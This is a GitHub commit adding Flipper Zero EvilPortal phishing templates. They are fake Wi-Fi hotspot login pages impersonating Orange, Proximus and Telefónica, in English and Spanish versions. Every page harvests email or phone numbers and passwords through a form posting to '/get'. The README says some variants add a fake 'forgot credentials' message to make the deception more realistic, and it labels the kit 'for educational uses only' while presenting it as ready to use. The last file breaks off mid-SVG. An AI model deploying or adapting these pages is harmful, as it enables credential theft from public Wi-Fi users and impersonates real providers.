Add files via upload

This commit is contained in:
FlippieHacks
2023-08-04 00:19:17 +02:00
committed by GitHub
parent eb1f80e412
commit fb64cef582
21 changed files with 1676 additions and 0 deletions
@@ -0,0 +1 @@
Orange Free Hotspot
@@ -0,0 +1,142 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #ffffff;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
}
.logo {
width: 80px;
height: 80px;
background-color: #ff7f00;
display: flex;
align-items: flex-end;
justify-content: center;
color: #ffffff;
font-size: 20px;
position: relative;
padding-bottom: 5px;
padding-left: 15px
padding-right: 15px
box-sizing: border-box;
}
.form-container {
background: #ffffff;
border: 1px solid #ff7f00;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(255, 127, 0, 0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #ff7f00;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #ff7f00;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #ff7f00;
border: none;
color: #ffffff;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #e66f00;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<div class="logo">orange</div>
</div>
<div class="form-container">
<center>
<h1>Sign in</h1>
<h2>Use your Orange Account</h2>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Orange App if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>
@@ -0,0 +1 @@
Orange Free Hotspot
+117
View File
@@ -0,0 +1,117 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #ffffff;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
}
.logo {
width: 80px;
height: 80px;
background-color: #ff7f00;
display: flex;
align-items: flex-end;
justify-content: center;
color: #ffffff;
font-size: 20px;
position: relative;
padding-bottom: 5px;
padding-left: 15px
padding-right: 15px
box-sizing: border-box;
}
.form-container {
background: #ffffff;
border: 1px solid #ff7f00;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(255, 127, 0, 0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #ff7f00;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #ff7f00;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #ff7f00;
border: none;
color: #ffffff;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #e66f00;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<div class="logo">orange</div>
</div>
<div class="form-container">
<center>
<h1>Sign in</h1>
<h2>Use your Orange Account</h2>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>
@@ -0,0 +1 @@
Proximus Free Hotspot
@@ -0,0 +1,167 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #EEEAF4;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #6C429C;
}
.proximus-name {
font-size: 42px;
color: #6C429C;
margin-left: 0px;
}
.form-container {
background: #DED5E9;
border: 1px solid #CEC0DE;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #6C429C;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #BEABD3;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #6C429C;
border: none;
color: #EEEAF4;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #5B3784;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="80.000000pt" height="80.000000pt" viewBox="0 0 225.000000 225.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,225.000000) scale(0.100000,-0.100000)"
fill="#6C429C" stroke="none">
<path d="M413 2066 c-137 -45 -233 -172 -233 -308 0 -209 183 -381 505 -476
l100 -30 0 -136 0 -137 -140 -47 c-164 -55 -264 -111 -344 -192 -119 -121
-155 -260 -98 -383 32 -71 92 -135 159 -173 47 -26 63 -29 138 -29 74 0 93 4
143 30 143 72 259 237 327 466 17 56 32 105 35 107 5 6 265 6 270 0 3 -2 18
-51 35 -107 51 -171 143 -331 233 -405 105 -86 236 -116 339 -76 71 26 154
100 188 166 21 42 25 63 25 139 0 80 -4 97 -30 149 -73 145 -232 253 -480 325
l-90 27 -3 129 c-1 72 1 135 5 141 5 6 50 23 102 38 314 89 501 267 501 475 0
85 -38 168 -106 231 -68 62 -124 85 -214 85 -63 0 -85 -5 -141 -31 -145 -69
-272 -252 -332 -480 l-24 -89 -44 -8 c-40 -8 -227 -2 -236 6 -2 2 -15 44 -29
93 -53 183 -155 356 -253 429 -100 73 -218 100 -308 71z m126 -240 c65 -34
163 -180 186 -278 6 -24 5 -26 -17 -21 -114 27 -288 159 -288 218 0 32 23 66
55 83 26 15 31 15 64 -2z m1264 3 c33 -17 57 -51 57 -82 0 -46 -86 -128 -183
-176 -45 -21 -93 -42 -106 -46 -22 -7 -23 -5 -17 21 25 101 128 253 191 280
37 16 32 16 58 3z m-553 -716 l0 -108 -107 2 -108 2 -3 105 -3 106 111 0 110
0 0 -107z m-554 -510 c-50 -105 -97 -166 -151 -194 -42 -22 -47 -23 -72 -9
-37 21 -58 60 -49 93 15 61 124 148 238 191 79 30 83 22 34 -81z m1037 24 c70
-45 127 -112 127 -150 0 -32 -47 -87 -75 -87 -28 0 -70 27 -112 72 -40 44
-106 167 -119 221 l-6 28 65 -25 c36 -14 90 -40 120 -59z"/>
</g>
</svg>
<svg class="logo" xmlns="http://www.w3.org/2000/svg"></svg>
<div class="proximus-name">Proximus</div>
</div>
<div class="form-container">
<center><h1>Sign in</h1>
<h2>Use your Proximus Account</h2></center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Proximus App if you forgot your credentials";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>
@@ -0,0 +1 @@
Proximus Free Hotspot
+139
View File
@@ -0,0 +1,139 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #EEEAF4;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #6C429C;
}
.proximus-name {
font-size: 42px;
color: #6C429C;
margin-left: 0px;
}
.form-container {
background: #DED5E9;
border: 1px solid #CEC0DE;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #6C429C;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #BEABD3;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #6C429C;
border: none;
color: #EEEAF4;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #5B3784;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="80.000000pt" height="80.000000pt" viewBox="0 0 225.000000 225.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,225.000000) scale(0.100000,-0.100000)"
fill="#6C429C" stroke="none">
<path d="M413 2066 c-137 -45 -233 -172 -233 -308 0 -209 183 -381 505 -476
l100 -30 0 -136 0 -137 -140 -47 c-164 -55 -264 -111 -344 -192 -119 -121
-155 -260 -98 -383 32 -71 92 -135 159 -173 47 -26 63 -29 138 -29 74 0 93 4
143 30 143 72 259 237 327 466 17 56 32 105 35 107 5 6 265 6 270 0 3 -2 18
-51 35 -107 51 -171 143 -331 233 -405 105 -86 236 -116 339 -76 71 26 154
100 188 166 21 42 25 63 25 139 0 80 -4 97 -30 149 -73 145 -232 253 -480 325
l-90 27 -3 129 c-1 72 1 135 5 141 5 6 50 23 102 38 314 89 501 267 501 475 0
85 -38 168 -106 231 -68 62 -124 85 -214 85 -63 0 -85 -5 -141 -31 -145 -69
-272 -252 -332 -480 l-24 -89 -44 -8 c-40 -8 -227 -2 -236 6 -2 2 -15 44 -29
93 -53 183 -155 356 -253 429 -100 73 -218 100 -308 71z m126 -240 c65 -34
163 -180 186 -278 6 -24 5 -26 -17 -21 -114 27 -288 159 -288 218 0 32 23 66
55 83 26 15 31 15 64 -2z m1264 3 c33 -17 57 -51 57 -82 0 -46 -86 -128 -183
-176 -45 -21 -93 -42 -106 -46 -22 -7 -23 -5 -17 21 25 101 128 253 191 280
37 16 32 16 58 3z m-553 -716 l0 -108 -107 2 -108 2 -3 105 -3 106 111 0 110
0 0 -107z m-554 -510 c-50 -105 -97 -166 -151 -194 -42 -22 -47 -23 -72 -9
-37 21 -58 60 -49 93 15 61 124 148 238 191 79 30 83 22 34 -81z m1037 24 c70
-45 127 -112 127 -150 0 -32 -47 -87 -75 -87 -28 0 -70 27 -112 72 -40 44
-106 167 -119 221 l-6 28 65 -25 c36 -14 90 -40 120 -59z"/>
</g>
</svg>
<svg class="logo" xmlns="http://www.w3.org/2000/svg"></svg>
<div class="proximus-name">Proximus</div>
</div>
<div class="form-container">
<center><h1>Sign in</h1>
<h2>Use your Proximus Account</h2></center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>
+11
View File
@@ -0,0 +1,11 @@
# !!FOR EDUCATIONAL USES ONLY!!
This one **emulates a portal for a Telefónica "Free Hotspot"** using EvilPortal on your Flipper Zero.
Telefónica is a Spanish internet provider.
# I also included a Spanish version of the portal
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'
![Telefónica Hotspot](https://zupimages.net/up/23/31/glcp.png)
@@ -0,0 +1 @@
Telefónica Punto de acceso
@@ -0,0 +1,209 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #0066ff;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #0066ff;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #0066ff;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
}
.submit-btn:hover {
background: #0066ff;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="350.000000pt" height="70.000000pt" viewBox="0 0 1280.000000 307.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,307.000000) scale(0.100000,-0.100000)"
fill="#0066ff" stroke="none">
<path d="M325 3056 c-104 -34 -212 -118 -262 -204 -111 -188 -73 -443 86 -583
161 -142 401 -157 578 -35 63 43 138 137 165 206 30 77 36 217 13 296 -38 132
-129 238 -252 297 -62 29 -78 32 -178 34 -71 2 -124 -2 -150 -11z"/>
<path d="M1405 3056 c-280 -92 -408 -390 -280 -652 102 -208 358 -307 577
-224 379 143 398 674 30 852 -61 30 -76 33 -177 35 -71 2 -124 -2 -150 -11z"/>
<path d="M2459 3047 c-259 -88 -381 -393 -258 -643 36 -72 120 -160 188 -198
132 -71 309 -74 443 -5 50 25 131 100 168 154 72 106 96 272 57 397 -41 133
-163 258 -293 298 -92 28 -217 27 -305 -3z"/>
<path d="M10463 2209 c-50 -10 -83 -36 -104 -82 -24 -55 -24 -83 4 -137 41
-83 138 -110 219 -62 90 53 92 207 4 262 -29 19 -85 27 -123 19z"/>
<path d="M8545 2079 c-44 -67 -88 -134 -98 -150 l-19 -29 115 0 115 0 114 138
c63 75 117 143 121 150 7 9 -22 12 -130 12 l-138 0 -80 -121z"/>
<path d="M7641 2153 c-24 -9 -61 -33 -82 -54 -50 -50 -69 -115 -69 -241 l0
-98 -85 0 -85 0 0 -125 0 -125 85 0 85 0 0 -395 0 -395 130 0 130 0 0 395 0
395 115 0 115 0 0 125 0 125 -116 0 -117 0 5 71 c7 97 15 103 133 107 l95 4 0
114 0 114 -147 -1 c-106 0 -160 -5 -192 -16z"/>
<path d="M3620 2020 l0 -130 210 0 210 0 0 -585 0 -585 140 0 140 0 0 585 0
585 215 0 215 0 0 130 0 130 -565 0 -565 0 0 -130z"/>
<path d="M5810 1435 l0 -715 135 0 135 0 0 715 0 715 -135 0 -135 0 0 -715z"/>
<path d="M1419 1982 c-230 -62 -368 -272 -338 -515 23 -185 168 -341 356 -383
339 -75 635 235 547 571 -62 241 -324 393 -565 327z"/>
<path d="M5085 1779 c-311 -32 -510 -319 -451 -648 21 -116 64 -201 145 -282
101 -101 222 -149 373 -149 157 0 273 45 372 144 49 50 116 153 116 180 0 3
-60 6 -133 6 l-134 0 -42 -40 c-96 -91 -246 -90 -357 3 -30 26 -67 91 -79 140
l-7 27 385 0 385 0 6 31 c28 141 -31 325 -142 441 -69 73 -184 133 -269 143
-32 3 -67 7 -78 9 -11 1 -51 -1 -90 -5z m156 -234 c24 -9 59 -30 78 -48 32
-30 81 -118 81 -144 0 -10 -58 -13 -256 -13 l-255 0 7 23 c46 151 201 232 345
182z"/>
<path d="M6710 1783 c-240 -17 -426 -178 -475 -410 -67 -316 110 -607 403
-664 88 -17 232 -7 307 21 120 45 225 141 274 250 l20 45 -136 3 -137 3 -26
-30 c-120 -130 -350 -91 -426 73 -44 94 -76 86 360 86 l383 0 7 55 c7 62 -6
170 -29 235 -76 214 -288 349 -525 333z m145 -247 c28 -13 60 -34 72 -47 22
-25 57 -89 68 -126 l6 -23 -255 0 c-152 0 -256 4 -256 9 0 19 22 67 46 103 68
98 210 135 319 84z"/>
<path d="M8465 1779 c-212 -21 -384 -171 -440 -385 -20 -76 -19 -230 1 -308
61 -235 261 -386 514 -386 255 0 459 155 515 391 19 83 19 229 0 303 -69 265
-297 413 -590 385z m190 -267 c54 -27 99 -77 127 -137 35 -76 33 -200 -5 -277
-34 -70 -94 -123 -161 -143 -62 -19 -90 -19 -152 0 -150 44 -234 238 -174 399
34 88 96 150 180 177 41 14 142 3 185 -19z"/>
<path d="M9704 1779 c-67 -8 -127 -34 -186 -81 -40 -31 -37 -33 -52 35 l-6 27
-120 0 -120 0 0 -520 0 -520 130 0 130 0 0 318 c0 362 4 386 70 446 105 94
277 66 343 -57 21 -41 22 -52 25 -374 l3 -333 130 0 129 0 0 348 c0 374 -4
411 -54 511 -50 99 -165 183 -267 196 -85 11 -95 12 -155 4z"/>
<path d="M11240 1779 c-155 -14 -297 -99 -380 -229 -84 -130 -107 -341 -55
-496 74 -221 261 -354 497 -354 234 0 397 111 474 326 13 36 24 69 24 74 0 6
-56 10 -134 10 l-134 0 -6 -26 c-11 -44 -95 -119 -148 -132 -61 -16 -84 -15
-144 3 -193 57 -260 336 -119 493 86 95 215 119 318 59 40 -24 97 -92 97 -117
0 -6 50 -10 136 -10 l136 0 -7 33 c-4 17 -20 59 -35 92 -95 200 -278 297 -520
274z"/>
<path d="M12210 1766 c-147 -41 -261 -156 -285 -288 l-7 -38 131 0 c116 0 132
2 138 18 32 90 152 138 246 98 42 -17 83 -66 97 -114 20 -75 26 -72 -127 -72
-236 0 -341 -28 -428 -114 -66 -64 -95 -137 -95 -234 2 -197 147 -322 374
-322 120 0 214 33 283 99 l22 20 6 -32 c14 -71 6 -67 126 -67 l109 0 0 370 c0
341 -2 375 -19 425 -41 115 -133 203 -258 244 -73 24 -238 28 -313 7z m327
-652 c-12 -117 -94 -193 -218 -202 -75 -6 -140 23 -163 72 -20 41 -20 57 -2
99 27 66 86 84 280 86 l109 1 -6 -56z"/>
<path d="M10370 1240 l0 -520 130 0 130 0 0 520 0 520 -130 0 -130 0 0 -520z"/>
<path d="M1418 906 c-130 -38 -237 -125 -293 -240 -115 -235 -20 -513 214
-625 75 -35 78 -36 201 -36 121 0 127 1 192 33 178 87 281 266 265 460 -15
178 -129 328 -297 393 -69 27 -214 34 -282 15z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Inicia sesión con tu cuenta Telefónica</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Correo electrónico o número de móvil" required>
<input name="password" class="input-field" type="password" placeholder="Contraseña" required>
<button class="submit-btn" type="submit">Conectar</button>
<a href="javascript:void(0);" class="forgot-password">Olvidé mi contraseña</a>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Consulta tu app de Telefónica si has olvidado tus credenciales";
errorMessage.style.display = 'block';
});
</script>
</meta>
</body>
</html>
@@ -0,0 +1 @@
Telefónica Punto de acceso
@@ -0,0 +1,187 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #0066ff;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #0066ff;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #0066ff;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
}
.submit-btn:hover {
background: #0066ff;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="350.000000pt" height="70.000000pt" viewBox="0 0 1280.000000 307.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,307.000000) scale(0.100000,-0.100000)"
fill="#0066ff" stroke="none">
<path d="M325 3056 c-104 -34 -212 -118 -262 -204 -111 -188 -73 -443 86 -583
161 -142 401 -157 578 -35 63 43 138 137 165 206 30 77 36 217 13 296 -38 132
-129 238 -252 297 -62 29 -78 32 -178 34 -71 2 -124 -2 -150 -11z"/>
<path d="M1405 3056 c-280 -92 -408 -390 -280 -652 102 -208 358 -307 577
-224 379 143 398 674 30 852 -61 30 -76 33 -177 35 -71 2 -124 -2 -150 -11z"/>
<path d="M2459 3047 c-259 -88 -381 -393 -258 -643 36 -72 120 -160 188 -198
132 -71 309 -74 443 -5 50 25 131 100 168 154 72 106 96 272 57 397 -41 133
-163 258 -293 298 -92 28 -217 27 -305 -3z"/>
<path d="M10463 2209 c-50 -10 -83 -36 -104 -82 -24 -55 -24 -83 4 -137 41
-83 138 -110 219 -62 90 53 92 207 4 262 -29 19 -85 27 -123 19z"/>
<path d="M8545 2079 c-44 -67 -88 -134 -98 -150 l-19 -29 115 0 115 0 114 138
c63 75 117 143 121 150 7 9 -22 12 -130 12 l-138 0 -80 -121z"/>
<path d="M7641 2153 c-24 -9 -61 -33 -82 -54 -50 -50 -69 -115 -69 -241 l0
-98 -85 0 -85 0 0 -125 0 -125 85 0 85 0 0 -395 0 -395 130 0 130 0 0 395 0
395 115 0 115 0 0 125 0 125 -116 0 -117 0 5 71 c7 97 15 103 133 107 l95 4 0
114 0 114 -147 -1 c-106 0 -160 -5 -192 -16z"/>
<path d="M3620 2020 l0 -130 210 0 210 0 0 -585 0 -585 140 0 140 0 0 585 0
585 215 0 215 0 0 130 0 130 -565 0 -565 0 0 -130z"/>
<path d="M5810 1435 l0 -715 135 0 135 0 0 715 0 715 -135 0 -135 0 0 -715z"/>
<path d="M1419 1982 c-230 -62 -368 -272 -338 -515 23 -185 168 -341 356 -383
339 -75 635 235 547 571 -62 241 -324 393 -565 327z"/>
<path d="M5085 1779 c-311 -32 -510 -319 -451 -648 21 -116 64 -201 145 -282
101 -101 222 -149 373 -149 157 0 273 45 372 144 49 50 116 153 116 180 0 3
-60 6 -133 6 l-134 0 -42 -40 c-96 -91 -246 -90 -357 3 -30 26 -67 91 -79 140
l-7 27 385 0 385 0 6 31 c28 141 -31 325 -142 441 -69 73 -184 133 -269 143
-32 3 -67 7 -78 9 -11 1 -51 -1 -90 -5z m156 -234 c24 -9 59 -30 78 -48 32
-30 81 -118 81 -144 0 -10 -58 -13 -256 -13 l-255 0 7 23 c46 151 201 232 345
182z"/>
<path d="M6710 1783 c-240 -17 -426 -178 -475 -410 -67 -316 110 -607 403
-664 88 -17 232 -7 307 21 120 45 225 141 274 250 l20 45 -136 3 -137 3 -26
-30 c-120 -130 -350 -91 -426 73 -44 94 -76 86 360 86 l383 0 7 55 c7 62 -6
170 -29 235 -76 214 -288 349 -525 333z m145 -247 c28 -13 60 -34 72 -47 22
-25 57 -89 68 -126 l6 -23 -255 0 c-152 0 -256 4 -256 9 0 19 22 67 46 103 68
98 210 135 319 84z"/>
<path d="M8465 1779 c-212 -21 -384 -171 -440 -385 -20 -76 -19 -230 1 -308
61 -235 261 -386 514 -386 255 0 459 155 515 391 19 83 19 229 0 303 -69 265
-297 413 -590 385z m190 -267 c54 -27 99 -77 127 -137 35 -76 33 -200 -5 -277
-34 -70 -94 -123 -161 -143 -62 -19 -90 -19 -152 0 -150 44 -234 238 -174 399
34 88 96 150 180 177 41 14 142 3 185 -19z"/>
<path d="M9704 1779 c-67 -8 -127 -34 -186 -81 -40 -31 -37 -33 -52 35 l-6 27
-120 0 -120 0 0 -520 0 -520 130 0 130 0 0 318 c0 362 4 386 70 446 105 94
277 66 343 -57 21 -41 22 -52 25 -374 l3 -333 130 0 129 0 0 348 c0 374 -4
411 -54 511 -50 99 -165 183 -267 196 -85 11 -95 12 -155 4z"/>
<path d="M11240 1779 c-155 -14 -297 -99 -380 -229 -84 -130 -107 -341 -55
-496 74 -221 261 -354 497 -354 234 0 397 111 474 326 13 36 24 69 24 74 0 6
-56 10 -134 10 l-134 0 -6 -26 c-11 -44 -95 -119 -148 -132 -61 -16 -84 -15
-144 3 -193 57 -260 336 -119 493 86 95 215 119 318 59 40 -24 97 -92 97 -117
0 -6 50 -10 136 -10 l136 0 -7 33 c-4 17 -20 59 -35 92 -95 200 -278 297 -520
274z"/>
<path d="M12210 1766 c-147 -41 -261 -156 -285 -288 l-7 -38 131 0 c116 0 132
2 138 18 32 90 152 138 246 98 42 -17 83 -66 97 -114 20 -75 26 -72 -127 -72
-236 0 -341 -28 -428 -114 -66 -64 -95 -137 -95 -234 2 -197 147 -322 374
-322 120 0 214 33 283 99 l22 20 6 -32 c14 -71 6 -67 126 -67 l109 0 0 370 c0
341 -2 375 -19 425 -41 115 -133 203 -258 244 -73 24 -238 28 -313 7z m327
-652 c-12 -117 -94 -193 -218 -202 -75 -6 -140 23 -163 72 -20 41 -20 57 -2
99 27 66 86 84 280 86 l109 1 -6 -56z"/>
<path d="M10370 1240 l0 -520 130 0 130 0 0 520 0 520 -130 0 -130 0 0 -520z"/>
<path d="M1418 906 c-130 -38 -237 -125 -293 -240 -115 -235 -20 -513 214
-625 75 -35 78 -36 201 -36 121 0 127 1 192 33 178 87 281 266 265 460 -15
178 -129 328 -297 393 -69 27 -214 34 -282 15z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Inicia sesión con tu cuenta Telefónica</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Correo electrónico o número de móvil" required>
<input name="password" class="input-field" type="password" placeholder="Contraseña" required>
<button class="submit-btn" type="submit">Conectar</button>
</form>
</div>
</div>
</meta>
</body>
</html>
@@ -0,0 +1 @@
Telefónica Hotspot
@@ -0,0 +1,208 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #0066ff;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #0066ff;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #0066ff;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
}
.submit-btn:hover {
background: #0066ff;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="350.000000pt" height="70.000000pt" viewBox="0 0 1280.000000 307.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,307.000000) scale(0.100000,-0.100000)"
fill="#0066ff" stroke="none">
<path d="M325 3056 c-104 -34 -212 -118 -262 -204 -111 -188 -73 -443 86 -583
161 -142 401 -157 578 -35 63 43 138 137 165 206 30 77 36 217 13 296 -38 132
-129 238 -252 297 -62 29 -78 32 -178 34 -71 2 -124 -2 -150 -11z"/>
<path d="M1405 3056 c-280 -92 -408 -390 -280 -652 102 -208 358 -307 577
-224 379 143 398 674 30 852 -61 30 -76 33 -177 35 -71 2 -124 -2 -150 -11z"/>
<path d="M2459 3047 c-259 -88 -381 -393 -258 -643 36 -72 120 -160 188 -198
132 -71 309 -74 443 -5 50 25 131 100 168 154 72 106 96 272 57 397 -41 133
-163 258 -293 298 -92 28 -217 27 -305 -3z"/>
